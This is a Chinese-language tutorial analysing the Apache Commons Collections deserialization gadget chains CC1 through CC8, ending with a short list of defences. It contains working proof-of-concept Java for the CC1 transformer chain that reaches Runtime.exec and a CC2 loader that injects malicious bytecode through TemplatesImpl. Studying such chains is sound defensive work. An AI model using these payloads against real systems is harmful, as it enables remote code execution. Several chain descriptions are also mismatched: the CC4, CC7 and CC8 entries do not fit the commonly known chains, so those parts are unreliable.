CommonsCollections1-8
字数 1371 2025-08-05 13:25:32
Apache Commons Collections反序列化漏洞全解析(1-8)
概述
本文详细分析Apache Commons Collections 1-8反序列化漏洞(简称CC1-CC8)的原理、利用链构造和防御方法。这些漏洞允许攻击者通过精心构造的序列化数据在目标系统上执行任意代码。
核心原理
所有CC漏洞的核心在于利用Apache Commons Collections库中的Transformer接口及其实现类,通过反序列化过程触发恶意代码执行。关键接口和类包括:
Transformer接口:定义transform()方法InvokerTransformer类:通过反射调用任意方法ChainedTransformer类:将多个Transformer串联执行LazyMap类:延迟执行Transformer
各版本漏洞详解
CommonsCollections1
利用链:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Proxy.entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
关键点:
- 利用
InvokerTransformer通过反射调用任意方法 ChainedTransformer串联多个Transformer实现方法链调用- 通过
LazyMap.get()触发Transformer执行 - 使用动态代理在反序列化时自动调用
invoke方法
PoC核心代码:
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, null}),
new InvokerTransformer("exec",
new Class[] {String.class},
new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer chain = new ChainedTransformer(transformers);
CommonsCollections2
利用链:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
关键点:
- 利用
PriorityQueue的反序列化触发比较操作 - 通过
TransformingComparator调用Transformer - 使用
TemplatesImpl加载恶意字节码实现RCE
PoC核心代码:
// 生成恶意字节码
CtClass payload = ClassPool.getDefault().get("EvilClass");
payload.setSuperclass(ClassPool.getDefault().get(ABSTRACT_TRANSLET));
payload.makeClassInitializer().insertAfter("Runtime.getRuntime().exec(...)");
byte[] bytecode = payload.toBytecode();
// 设置TemplatesImpl
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{bytecode});
setFieldValue(templates, "_name", "Pwn");
// 构造PriorityQueue
PriorityQueue queue = new PriorityQueue(2,
new TransformingComparator(new InvokerTransformer("newTransformer", null, null)));
queue.add(templates);
queue.add(templates);
CommonsCollections3
利用链:
与CC2类似,但使用InstantiateTransformer替代InvokerTransformer直接实例化恶意类。
关键点:
- 使用
InstantiateTransformer直接实例化类 - 结合
TrAXFilter触发TemplatesImpl的newTransformer方法
CommonsCollections4
利用链:
结合CC1的LazyMap触发方式和CC2的TemplatesImpl加载字节码方式。
CommonsCollections5
利用链:
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
...
关键点:
- 利用
BadAttributeValueExpException的反序列化 - 通过
TiedMapEntry的toString触发getValue - 最终调用LazyMap.get()触发Transformer链
CommonsCollections6
与CC5类似,但使用HashSet作为触发入口。
CommonsCollections7
利用链:
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
...
CommonsCollections8
利用链:
Hashtable.readObject()
Hashtable.reconstitutionPut()
AbstractMapDecorator.equals()
AbstractMap.equals()
LazyMap.get()
...
防御措施
- 升级Apache Commons Collections到最新安全版本
- 使用SerialKiller等工具过滤恶意序列化数据
- 配置Java安全管理器限制危险操作
- 对反序列化操作进行严格的白名单控制
总结
CC1-CC8漏洞展示了反序列化漏洞的多种利用方式,核心都是通过精心构造的Transformer链最终执行任意代码。理解这些漏洞有助于开发者更好地防御类似安全问题。